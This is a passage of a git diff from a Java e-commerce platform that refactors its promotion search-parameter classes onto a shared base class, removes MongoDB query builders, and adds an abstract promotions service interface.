b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/FullDiscountSearchParams.java index b2e35ab1..c6fb7a5e 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/FullDiscountSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/FullDiscountSearchParams.java @@ -1,18 +1,13 @@ package cn.lili.modules.promotion.entity.vos; import cn.hutool.core.text.CharSequenceUtil; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import io.swagger.annotations.ApiModelProperty; import lombok.Data; import lombok.EqualsAndHashCode; -import org.springframework.data.mongodb.core.query.Criteria; -import org.springframework.data.mongodb.core.query.Query; import java.io.Serializable; import java.util.Arrays; -import java.util.Date; -import java.util.regex.Pattern; /** * 满优惠查询通用类 @@ -20,8 +15,9 @@ import java.util.regex.Pattern; * @author paulG * @since 2020/8/21 **/ +@EqualsAndHashCode(callSuper = true) @Data -public class FullDiscountSearchParams implements Serializable { +public class FullDiscountSearchParams extends BasePromotionsSearchParams implements Serializable { private static final long serialVersionUID = -4052716630253333681L; @@ -32,59 +28,28 @@ public class FullDiscountSearchParams implements Serializable { @ApiModelProperty(value = "店铺编号 如有多个','分割") private String storeId; - @ApiModelProperty(value = "活动开始时间", required = true) - private Long startTime; + @ApiModelProperty(value = "是否赠优惠券") + private Boolean isCoupon; - @ApiModelProperty(value = "活动结束时间", required = true) - private Long endTime; + @ApiModelProperty(value = "优惠券id") + private String couponId; - /** - * @see PromotionStatusEnum - */ - @ApiModelProperty(value = "活动状态") - private String promotionStatus; - - - public QueryWrapper wrapper() { - QueryWrapper queryWrapper = new QueryWrapper<>(); + @Override + public QueryWrapper queryWrapper() { + QueryWrapper queryWrapper = super.queryWrapper(); if (CharSequenceUtil.isNotEmpty(promotionName)) { queryWrapper.like("title", promotionName); } if (storeId != null) { queryWrapper.in("store_id", Arrays.asList(storeId.split(","))); } - if (startTime != null) { - queryWrapper.ge("start_time", new Date(startTime)); + if (isCoupon != null) { + queryWrapper.eq("is_coupon", isCoupon); } - if (endTime != null) { - queryWrapper.le("end_time", new Date(endTime)); - } - if (CharSequenceUtil.isNotEmpty(promotionStatus)) { - queryWrapper.eq("promotion_status", PromotionStatusEnum.valueOf(promotionStatus).name()); + if (CharSequenceUtil.isNotEmpty(couponId)) { + queryWrapper.eq("coupon_id", couponId); } return queryWrapper; } - public Query mongoQuery() { - Query query = new Query(); - if (CharSequenceUtil.isNotEmpty(promotionName)) { - Pattern pattern = Pattern.compile("^.*" + promotionName + ".*$", Pattern.CASE_INSENSITIVE); - query.addCriteria(Criteria.where("promotionName").regex(pattern)); - } - if (storeId != null) { - query.addCriteria(Criteria.where("storeId").in(Arrays.asList(storeId.split(",")))); - } - if (startTime != null) { - query.addCriteria(Criteria.where("startTime").gte(new Date(startTime))); - } - if (endTime != null) { - query.addCriteria(Criteria.where("endTime").lte(new Date(endTime))); - } - if (CharSequenceUtil.isNotEmpty(promotionStatus)) { - query.addCriteria(Criteria.where("promotionStatus").is(PromotionStatusEnum.valueOf(promotionStatus).name())); - } - query.addCriteria(Criteria.where("deleteFlag").is(false)); - return query; - } - } diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanSearchParams.java index 79da0d01..36069bf5 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanSearchParams.java @@ -1,18 +1,12 @@ package cn.lili.modules.promotion.entity.vos; import cn.hutool.core.text.CharSequenceUtil; -import cn.lili.common.utils.StringUtils; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import io.swagger.annotations.ApiModelProperty; import lombok.Data; -import org.springframework.data.mongodb.core.query.Criteria; -import org.springframework.data.mongodb.core.query.Query; +import lombok.EqualsAndHashCode; import javax.validation.constraints.NotEmpty; -import javax.validation.constraints.NotNull; -import java.util.Date; -import java.util.regex.Pattern; /** * 拼团查询通用类 @@ -20,8 +14,9 @@ import java.util.regex.Pattern; * @author paulG * @since 2020/10/9 **/ +@EqualsAndHashCode(callSuper = true) @Data -public class PintuanSearchParams { +public class PintuanSearchParams extends BasePromotionsSearchParams { @ApiModelProperty(value = "商家id") private String storeId; @@ -33,67 +28,20 @@ public class PintuanSearchParams { @ApiModelProperty(value = "活动名称", required = true) private String promotionName; - /** - * @see PromotionStatusEnum - */ - @ApiModelProperty(value = "活动状态") - @NotNull(message = "活动状态不能为空") - private String promotionStatus; - @ApiModelProperty(value = "活动开始时间") - private Long startTime; - - @ApiModelProperty(value = "活动结束时间") - private Long endTime; - - public QueryWrapper wrapper() { - QueryWrapper queryWrapper = new QueryWrapper<>(); + @Override + public QueryWrapper queryWrapper() { + QueryWrapper queryWrapper = super.queryWrapper(); if (CharSequenceUtil.isNotEmpty(promotionName)) { queryWrapper.like("promotion_name", promotionName); } - if (!StringUtils.isEmpty(storeName)) { + if (CharSequenceUtil.isNotEmpty(storeName)) { queryWrapper.like("store_name", storeName); } - if (!StringUtils.isEmpty(storeId)) { - queryWrapper.eq("store_id", storeName); + if (CharSequenceUtil.isNotEmpty(storeId)) { + queryWrapper.eq("store_id", storeId); } - if (startTime != null) { - queryWrapper.ge("start_time", new Date(startTime)); - } - if (endTime != null) { - queryWrapper.le("end_time", new Date(endTime)); - } - if (CharSequenceUtil.isNotEmpty(promotionStatus)) { - queryWrapper.eq("promotion_status", PromotionStatusEnum.valueOf(promotionStatus).name()); - } - queryWrapper.eq("delete_flag", false); return queryWrapper; } - public Query mongoQuery() { - Query query = new Query(); - if (CharSequenceUtil.isNotEmpty(promotionName)) { - Pattern pattern = Pattern.compile("^.*" + promotionName + ".*$", Pattern.CASE_INSENSITIVE); - query.addCriteria(Criteria.where("promotionName").regex(pattern)); - } - if (!StringUtils.isEmpty(storeName)) { - Pattern pattern = Pattern.compile("^.*" + storeName + ".*$", Pattern.CASE_INSENSITIVE); - query.addCriteria(Criteria.where("storeName").regex(pattern)); - } - if (!StringUtils.isEmpty(storeId)) { - query.addCriteria(Criteria.where("storeId").is(storeId)); - } - if (startTime != null) { - query.addCriteria(Criteria.where("startTime").gte(new Date(startTime))); - } - if (endTime != null) { - query.addCriteria(Criteria.where("endTime").lte(new Date(endTime))); - } - if (CharSequenceUtil.isNotEmpty(promotionStatus)) { - query.addCriteria(Criteria.where("promotionStatus").is(PromotionStatusEnum.valueOf(promotionStatus).name())); - } - query.addCriteria(Criteria.where("deleteFlag").is(false)); - return query; - } - } diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanVO.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanVO.java index 3467aef5..b19019a6 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanVO.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanVO.java @@ -4,6 +4,8 @@ import cn.lili.modules.promotion.entity.dos.Pintuan; import cn.lili.modules.promotion.entity.dos.PromotionGoods; import lombok.Data; import lombok.EqualsAndHashCode; +import lombok.NoArgsConstructor; +import org.springframework.beans.BeanUtils; import java.util.List; @@ -13,11 +15,16 @@ import java.util.List; * @author paulG * @since 2020/10/28 **/ +@EqualsAndHashCode(callSuper = true) @Data +@NoArgsConstructor public class PintuanVO extends Pintuan { private static final long serialVersionUID = 218582640653676201L; private List promotionGoodsList; + public PintuanVO(Pintuan pintuan) { + BeanUtils.copyProperties(pintuan, this); + } } diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PointsGoodsSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PointsGoodsSearchParams.java index ec03d05e..baf06ef6 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PointsGoodsSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PointsGoodsSearchParams.java @@ -1,15 +1,10 @@ package cn.lili.modules.promotion.entity.vos; -import cn.hutool.core.convert.Convert; import cn.hutool.core.text.CharSequenceUtil; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import io.swagger.annotations.ApiModelProperty; import lombok.Data; -import org.springframework.data.mongodb.core.query.Criteria; -import org.springframework.data.mongodb.core.query.Query; - -import java.util.regex.Pattern; +import lombok.EqualsAndHashCode; /** * 积分商品查询通用类 @@ -17,8 +12,9 @@ import java.util.regex.Pattern; * @author paulG * @since 2021/1/13 **/ +@EqualsAndHashCode(callSuper = true) @Data -public class PointsGoodsSearchParams { +public class PointsGoodsSearchParams extends BasePromotionsSearchParams { @ApiModelProperty(value = "商品名称") private String goodsName; @@ -35,15 +31,10 @@ public class PointsGoodsSearchParams { @ApiModelProperty(value = "积分,可以为范围,如10_1000") private String points; - /** - * @see PromotionStatusEnum - */ - @ApiModelProperty(value = "活动状态") - private String promotionStatus; - + @Override public QueryWrapper queryWrapper() { - QueryWrapper queryWrapper = new QueryWrapper<>(); + QueryWrapper queryWrapper = super.queryWrapper(); if (CharSequenceUtil.isNotEmpty(goodsName)) { queryWrapper.eq("gs.goods_name", goodsName); } @@ -64,41 +55,7 @@ public class PointsGoodsSearchParams { if (recommend != null) { queryWrapper.eq("gs.recommend", recommend); } - if (CharSequenceUtil.isNotEmpty(promotionStatus)) { - queryWrapper.eq("pg.promotion_status", promotionStatus); - } return queryWrapper; } - - public Query mongoQuery() { - Query query = new Query(); - if (CharSequenceUtil.isNotEmpty(goodsName)) { - Pattern pattern = Pattern.compile("^.*" + goodsName + ".*$", Pattern.CASE_INSENSITIVE); - query.addCriteria(Criteria.where("goodsSku.goodsName").regex(pattern)); - } - if (CharSequenceUtil.isNotEmpty(skuId)) { - query.addCriteria(Criteria.where("skuId").is(skuId)); - } - if (CharSequenceUtil.isNotEmpty(pointsGoodsCategoryId)) { - query.addCriteria(Criteria.where("pointsGoodsCategoryId").is(pointsGoodsCategoryId)); - } - if (CharSequenceUtil.isNotEmpty(points)) { - String[] s = points.split("_"); - if (s.length > 1) { - query.addCriteria(Criteria.where("points").gte(Convert.toInt(s[0])).lte(Convert.toInt(s[1]))); - } else { - query.addCriteria(Criteria.where("points").gte(Convert.toInt(s[0]))); - } - } - if (recommend != null) { - query.addCriteria(Criteria.where("goodsSku.recommend").is(recommend)); - } - if (CharSequenceUtil.isNotEmpty(promotionStatus)) { - query.addCriteria(Criteria.where("promotionStatus").is(promotionStatus)); - } - query.addCriteria(Criteria.where("deleteFlag").is(false)); - return query; - } - } diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PromotionGoodsSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PromotionGoodsSearchParams.java index 8f0d8ff0..c9f377a7 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PromotionGoodsSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PromotionGoodsSearchParams.java @@ -1,12 +1,14 @@ package cn.lili.modules.promotion.entity.vos; import cn.hutool.core.text.CharSequenceUtil; -import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.EqualsAndHashCode; -import java.util.Date; +import java.util.Arrays; +import java.util.List; /** * 促销商品查询通用类 @@ -14,8 +16,9 @@ import java.util.Date; * @author paulG * @since 2021/2/21 **/ +@EqualsAndHashCode(callSuper = true) @Data -public class PromotionGoodsSearchParams { +public class PromotionGoodsSearchParams extends BasePromotionsSearchParams { @ApiModelProperty(value = "促销活动id") private String promotionId; @@ -23,10 +26,7 @@ public class PromotionGoodsSearchParams { @ApiModelProperty(value = "促销类型") private String promotionType; - @ApiModelProperty(value = "促销状态") - private String promotionStatus; - - @ApiModelProperty(value = "促销活动id") + @ApiModelProperty(value = "商品活动id") private String storeId; @ApiModelProperty(value = "商品名称") @@ -35,40 +35,46 @@ public class PromotionGoodsSearchParams { @ApiModelProperty(value = "商品分类路径") private String categoryPath; - @ApiModelProperty(value = "开始时间") - private Long startTime; + @ApiModelProperty(value = "商品SkuId") + private String skuId; - @ApiModelProperty(value = "结束时间") - private Long endTime; + @ApiModelProperty(value = "商品SkuIds") + private List skuIds; + + @ApiModelProperty(value = "促销活动id") + private List promotionIds; - public LambdaQueryWrapper queryWrapper() { - LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); + @Override + public QueryWrapper queryWrapper() { + if (CharSequenceUtil.isEmpty(this.getScopeType())){ + this.setScopeType(PromotionsScopeTypeEnum.PORTION_GOODS.name()); + } + QueryWrapper queryWrapper = super.queryWrapper(); if (CharSequenceUtil.isNotEmpty(promotionId)) { - queryWrapper.eq(PromotionGoods::getPromotionId, promotionId); + queryWrapper.eq("promotion_id", promotionId); } if (CharSequenceUtil.isNotEmpty(goodsName)) { - queryWrapper.like(PromotionGoods::getGoodsName, goodsName); + queryWrapper.like("goods_name", goodsName); } if (CharSequenceUtil.isNotEmpty(promotionType)) { - queryWrapper.eq(PromotionGoods::getPromotionType, promotionType); - } - if (CharSequenceUtil.isNotEmpty(promotionStatus)) { - queryWrapper.eq(PromotionGoods::getPromotionStatus, promotionStatus); + queryWrapper.eq("promotion_type", promotionType); } if (CharSequenceUtil.isNotEmpty(categoryPath)) { - queryWrapper.like(PromotionGoods::getCategoryPath, categoryPath); - } - if (startTime != null) { - queryWrapper.ge(PromotionGoods::getStartTime, new Date(startTime)); - } - if (endTime != null) { - queryWrapper.ge(PromotionGoods::getEndTime, new Date(endTime)); + queryWrapper.like("category_path", categoryPath); } if (CharSequenceUtil.isNotEmpty(storeId)) { - queryWrapper.eq(PromotionGoods::getStoreId, storeId); + queryWrapper.in("store_id", Arrays.asList(storeId.split(","))); + } + if (CharSequenceUtil.isNotEmpty(skuId)) { + queryWrapper.in("sku_id", Arrays.asList(skuId.split(","))); + } + if (skuIds != null && !skuIds.isEmpty()) { + queryWrapper.in("sku_id", skuIds); + } + if (promotionIds != null && promotionIds.isEmpty()) { + queryWrapper.in("promotion_id", promotionIds); } - queryWrapper.eq(PromotionGoods::getDeleteFlag, false); return queryWrapper; } diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/SeckillSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/SeckillSearchParams.java index d269320f..bebeac2f 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/SeckillSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/SeckillSearchParams.java @@ -1,19 +1,14 @@ package cn.lili.modules.promotion.entity.vos; import cn.hutool.core.text.CharSequenceUtil; -import cn.hutool.core.util.ArrayUtil; -import cn.lili.modules.promotion.entity.enums.PromotionApplyStatusEnum; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsApplyStatusEnum; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import io.swagger.annotations.ApiModelProperty; import lombok.Data; -import org.springframework.data.mongodb.core.query.Criteria; -import org.springframework.data.mongodb.core.query.Query; +import lombok.EqualsAndHashCode; import java.io.Serializable; import java.util.Arrays; -import java.util.Date; -import java.util.regex.Pattern; /** * 秒杀活动查询通用类 @@ -21,8 +16,9 @@ import java.util.regex.Pattern; * @author paulG * @since 2020/8/21 **/ +@EqualsAndHashCode(callSuper = true) @Data -public class SeckillSearchParams implements Serializable { +public class SeckillSearchParams extends BasePromotionsSearchParams implements Serializable { private static final long serialVersionUID = -4052716630253333681L; @@ -44,26 +40,18 @@ public class SeckillSearchParams implements Serializable { @ApiModelProperty(value = "商品名称") private String goodsName; - @ApiModelProperty(value = "活动开始时间", required = true) - private Long startTime; - - @ApiModelProperty(value = "活动结束时间", required = true) - private Long endTime; + @ApiModelProperty(value = "商家编号") + private String skuId; /** - * @see PromotionStatusEnum - */ - @ApiModelProperty(value = "活动状态") - private String promotionStatus; - - /** - * @see cn.lili.modules.promotion.entity.enums.PromotionApplyStatusEnum + * @see PromotionsApplyStatusEnum */ @ApiModelProperty(value = "APPLY(\"申请\"), PASS(\"通过\"), REFUSE(\"拒绝\")") private String promotionApplyStatus; - public QueryWrapper wrapper() { - QueryWrapper queryWrapper = new QueryWrapper<>(); + @Override + public QueryWrapper queryWrapper() { + QueryWrapper queryWrapper = super.queryWrapper(); if (CharSequenceUtil.isNotEmpty(goodsName)) { queryWrapper.like("goods_name", goodsName); } @@ -79,56 +67,13 @@ public class SeckillSearchParams implements Serializable { if (timeLine != null) { queryWrapper.eq("time_line", timeLine); } - if (startTime != null) { - queryWrapper.ge("start_time", new Date(startTime)); - } - if (endTime != null) { - queryWrapper.le("end_time", new Date(endTime)); - } if (CharSequenceUtil.isNotEmpty(promotionApplyStatus)) { - queryWrapper.eq("promotion_apply_status", PromotionApplyStatusEnum.valueOf(promotionApplyStatus).name()); + queryWrapper.eq("promotion_apply_status", PromotionsApplyStatusEnum.valueOf(promotionApplyStatus).name()); } - if (CharSequenceUtil.isNotEmpty(promotionStatus)) { - queryWrapper.eq("promotion_status", PromotionStatusEnum.valueOf(promotionStatus).name()); + if (CharSequenceUtil.isNotEmpty(skuId)) { + queryWrapper.eq("sku_id", skuId); } - queryWrapper.eq("delete_flag", false); return queryWrapper; } - public Query mongoQuery() { - Query query = new Query(); - if (CharSequenceUtil.isNotEmpty(goodsName)) { - Pattern pattern = Pattern.compile("^.*" + goodsName + ".*$", Pattern.CASE_INSENSITIVE); - query.addCriteria(Criteria.where("goodsName").regex(pattern)); - } - if (CharSequenceUtil.isNotEmpty(promotionName)) { - Pattern pattern = Pattern.compile("^.*" + promotionName + ".*$", Pattern.CASE_INSENSITIVE); - query.addCriteria(Criteria.where("promotionName").regex(pattern)); - } - if (CharSequenceUtil.isNotEmpty(seckillId)) { - query.addCriteria(Criteria.where("_id").is(seckillId)); - } - if (storeIds != null) { - Pattern pattern = Pattern.compile("^.*" + ArrayUtil.join(storeIds, ",") + ".*$", Pattern.CASE_INSENSITIVE); - query.addCriteria(Criteria.where("storeIds").regex(pattern)); - } - if (timeLine != null) { - query.addCriteria(Criteria.where("timeLine").is(timeLine)); - } - if (startTime != null) { - query.addCriteria(Criteria.where("startTime").gte(new Date(startTime))); - } - if (endTime != null) { - query.addCriteria(Criteria.where("endTime").lte(new Date(endTime))); - } - if (CharSequenceUtil.isNotEmpty(promotionApplyStatus)) { - query.addCriteria(Criteria.where("promotionApplyStatus").is(PromotionApplyStatusEnum.valueOf(promotionApplyStatus).name())); - } - if (CharSequenceUtil.isNotEmpty(promotionStatus)) { - query.addCriteria(Criteria.where("promotionStatus").is(PromotionStatusEnum.valueOf(promotionStatus).name())); - } - query.addCriteria(Criteria.where("deleteFlag").is(false)); - return query; - } - } diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivityGoodsParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivityGoodsParams.java index bb817150..10fc4233 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivityGoodsParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivityGoodsParams.java @@ -4,17 +4,13 @@ package cn.lili.modules.promotion.entity.vos.kanjia; import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.security.context.UserContext; import cn.lili.common.security.enums.UserEnums; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import io.swagger.annotations.ApiModelProperty; import lombok.Data; -import org.springframework.data.domain.Sort; -import org.springframework.data.mongodb.core.query.Criteria; -import org.springframework.data.mongodb.core.query.Query; import java.io.Serializable; import java.util.Date; -import java.util.regex.Pattern; /** * 砍价活动商品查询通用类 @@ -40,7 +36,7 @@ public class KanjiaActivityGoodsParams implements Serializable { private String skuId; /** - * @see PromotionStatusEnum + * @see PromotionsStatusEnum */ @ApiModelProperty(value = "活动状态") private String promotionStatus; @@ -68,32 +64,4 @@ public class KanjiaActivityGoodsParams implements Serializable { return queryWrapper; } - - public Query mongoQuery() { - Query query = new Query(); - if (CharSequenceUtil.isNotEmpty(goodsName)) { - Pattern pattern = Pattern.compile("^.*" + goodsName + ".*$", Pattern.CASE_INSENSITIVE); - query.addCriteria(Criteria.where("goodsSku.goodsName").regex(pattern)); - } - if (CharSequenceUtil.isNotEmpty(promotionStatus)) { - query.addCriteria(Criteria.where("promotionStatus").is(promotionStatus)); - } - - if (CharSequenceUtil.isNotEmpty(skuId)) { - query.addCriteria(Criteria.where("skuId").is(skuId)); - } - if (startTime != null && endTime != null) { - Criteria fromTime = Criteria.where("startTime").gte(new Date(startTime)); - Criteria toTime = Criteria.where("endTime").lte(new Date(endTime)); - query.addCriteria(fromTime); - query.addCriteria(toTime); - } - query.addCriteria(Criteria.where("deleteFlag").is(false)); - Sort.Order order = new Sort.Order(Sort.Direction.DESC, "createTime"); - query.with(Sort.by(order)); - - return query; - } - - } diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivitySearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivitySearchParams.java index 0bb6b2b2..24c10cbd 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivitySearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivitySearchParams.java @@ -1,9 +1,11 @@ package cn.lili.modules.promotion.entity.vos.kanjia; import cn.hutool.core.util.StrUtil; +import cn.lili.modules.promotion.entity.vos.BasePromotionsSearchParams; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.EqualsAndHashCode; /** * 砍价活动搜索参数 @@ -11,8 +13,9 @@ import lombok.Data; * @author Bulbasaur * @date: 2021/7/13 2:41 下午 */ +@EqualsAndHashCode(callSuper = true) @Data -public class KanjiaActivitySearchParams { +public class KanjiaActivitySearchParams extends BasePromotionsSearchParams { @ApiModelProperty(value = "砍价活动ID") private String id; diff --git a/framework/src/main/java/cn/lili/modules/promotion/mapper/PromotionGoodsMapper.java b/framework/src/main/java/cn/lili/modules/promotion/mapper/PromotionGoodsMapper.java index fc675f91..c8b7ba8b 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/mapper/PromotionGoodsMapper.java +++ b/framework/src/main/java/cn/lili/modules/promotion/mapper/PromotionGoodsMapper.java @@ -1,7 +1,9 @@ package cn.lili.modules.promotion.mapper; import cn.lili.modules.promotion.entity.dos.PromotionGoods; +import com.baomidou.mybatisplus.core.conditions.Wrapper; import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.baomidou.mybatisplus.core.toolkit.Constants; import org.apache.ibatis.annotations.Param; import org.apache.ibatis.annotations.Select; @@ -28,7 +30,7 @@ public interface PromotionGoodsMapper extends BaseMapper { @Select("select count(0) from li_promotion_goods where promotion_type = #{promotionType} and sku_id = #{skuId} and (" + "( start_time < #{startTime} && end_time > #{startTime} ) || ( start_time < #{endTime} && end_time > #{endTime} ) || " + "( start_time < #{startTime} && end_time > #{endTime} ) || ( start_time > #{startTime} && end_time < #{endTime} )" + - " || promotion_status = 'START' )") + ")") Integer selectInnerOverlapPromotionGoods(@Param("promotionType") String promotionType, @Param("skuId") String skuId, @Param("startTime") Date startTime, @@ -47,10 +49,19 @@ public interface PromotionGoodsMapper extends BaseMapper { @Select("select count(0) from li_promotion_goods where promotion_type = #{promotionType} and sku_id = #{skuId} and (" + "( start_time < #{startTime} && end_time > #{startTime} ) || ( start_time < #{endTime} && end_time > #{endTime} ) || " + "( start_time < #{startTime} && end_time > #{endTime} ) || ( start_time > #{startTime} && end_time < #{endTime} )" + - " || promotion_status = 'START' ) and promotion_id != #{promotionId}") + ") and promotion_id != #{promotionId}") Integer selectInnerOverlapPromotionGoodsWithout(@Param("promotionType") String promotionType, @Param("skuId") String skuId, @Param("startTime") Date startTime, @Param("endTime") Date endTime, @Param("promotionId") String promotionId); + + /** + * 查询参加活动促销商品价格 + * + * @param queryWrapper 查询条件 + * @return 共参加了几种活动 + */ + @Select("select price from li_promotion_goods ${ew.customSqlSegment} ") + Double selectPromotionsGoodsPrice(@Param(Constants.WRAPPER) Wrapper queryWrapper); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/AbstractPromotionsService.java b/framework/src/main/java/cn/lili/modules/promotion/service/AbstractPromotionsService.java new file mode 100644 index 00000000..e0afee22 --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/promotion/service/AbstractPromotionsService.java @@ -0,0 +1,130 @@ +package cn.lili.modules.promotion.service; + +import cn.lili.common.enums.PromotionTypeEnum; +import cn.lili.common.vo.PageVO; +import cn.lili.modules.promotion.entity.dto.BasePromotions; +import cn.lili.modules.promotion.entity.vos.BasePromotionsSearchParams; +import com.baomidou.mybatisplus.core.metadata.IPage; +import com.baomidou.mybatisplus.extension.service.IService; + +import java.util.List; + +/** + * 抽象通用促销服务 + * 如需拓展原促销实体字段,新拓展类继承自促销实体即可 + * + * @param 促销类型,继承自促销基础类 + * @author paulG + * @since 2021/11/18 + **/ +public interface AbstractPromotionsService extends IService { + + /** + * 通用促销保存 + * 调用顺序: + * 1. initPromotion 初始化促销信息 + * 2. checkPromotions 检查促销参数 + * 3. save 保存促销信息 + * 4. updatePromotionGoods 更新促销商品信息 + * 5。 updateEsGoodsIndex 更新商品索引促销信息 + * + * @param promotions 促销信息 + * @return 是否保存成功 + */ + boolean savePromotions(T promotions); + + /** + * 通用促销更新 + * 调用顺序: + * 1. checkStatus 检查促销状态 + * 2. checkPromotions 检查促销参数 + * 3. saveOrUpdate 保存促销信息 + * 4. updatePromotionGoods 更新促销商品信息 + * 5. updateEsGoodsIndex 更新商品索引促销信息 + * + * @param promotions 促销信息 + * @return 是否更新成功 + */ + boolean updatePromotions(T promotions); + + /** + * 更新促销状态 + * 如果要更新促销状态为关闭,startTime和endTime置为空即可 + * + * @param ids 促销id集合 + * @param startTime 开始时间 + * @param endTime 结束时间 + * @return 是否更新成功 + */ + boolean updateStatus(List ids, Long startTime, Long endTime); + + /** + * 移除促销活动 + * + * @param ids 促销活动id集合 + * @return 是否移除成功 + */ + boolean removePromotions(List ids); + + /** + * 分页查询促销信息 + * + * @param searchParams 查询参数,继承自继承促销查询参数 + * @param page 分页参数 + * @param 继承自基础促销查询参数的促销查询参数 + * @return 分页促销信息 + */ + IPage pageFindAll(S searchParams, PageVO page); + + /** + * 列表查询促销信息 + * + * @param searchParams 查询参数,继承自继承促销查询参数 + * @param 继承自基础促销查询参数的促销查询参数 + * @return 列表促销信息 + */ + List listFindAll(S searchParams); + + /** + * 初始化促销字段 + * + * @param promotions 促销实体 + */ + void initPromotion(T promotions); + + /** + * 检查促销参数 + * + * @param promotions 促销实体 + */ + void checkPromotions(T promotions); + + /** + * 检查促销状态 + * + * @param promotions 促销实体 + */ + void checkStatus(T promotions); + + /** + * 更新促销商品信息 + * + * @param promotions 促销实体 + */ + void updatePromotionsGoods(T promotions); + + /** + * 更新促销信息到商品索引 + * + * @param promotions 促销实体 + */ + void updateEsGoodsIndex(T promotions); + + /** + * 当前促销类型 + * + * @return 当前促销类型 + */ + PromotionTypeEnum getPromotionType(); + +} diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/CouponActivityItemService.java b/framework/src/main/java/cn/lili/modules/promotion/service/CouponActivityItemService.java index 53911189..d936cf3b 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/CouponActivityItemService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/CouponActivityItemService.java @@ -28,4 +28,11 @@ public interface CouponActivityItemService extends IService * @return 优惠券关联优惠券列表 */ List getCouponActivityItemListVO(String activityId); + + /** + * 根据优惠券id删除优惠活动关联信息项 + * + * @param couponIds 优惠券id集合 + */ + void removeByCouponId(List couponIds); } diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/CouponActivityService.java b/framework/src/main/java/cn/lili/modules/promotion/service/CouponActivityService.java index f283f60c..b615dc5e 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/CouponActivityService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/CouponActivityService.java @@ -2,10 +2,7 @@ package cn.lili.modules.promotion.service; import cn.lili.modules.member.entity.dos.Member; import cn.lili.modules.promotion.entity.dos.CouponActivity; -import cn.lili.modules.promotion.entity.dto.CouponActivityDTO; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; import cn.lili.modules.promotion.entity.vos.CouponActivityVO; -import com.baomidou.mybatisplus.extension.service.IService; import java.util.List; @@ -15,23 +12,8 @@ import java.util.List; * @author Bulbasaur * @since 2021/5/20 6:10 下午 */ -public interface CouponActivityService extends IService { +public interface CouponActivityService extends AbstractPromotionsService { - /** - * 创建优惠券活动--精准发券、新人赠券 - * - * @param couponActivityDTO 优惠券活动DTO - * @return 优惠券活动DTO - */ - CouponActivityDTO addCouponActivity(CouponActivityDTO couponActivityDTO); - - /** - * 修改优惠券活动--精准发券、新人赠券 - * - * @param couponActivityDTO 优惠券活动DTO - * @return 优惠券活动DTO - */ - CouponActivityDTO updateCouponActivity(CouponActivityDTO couponActivityDTO); /** * 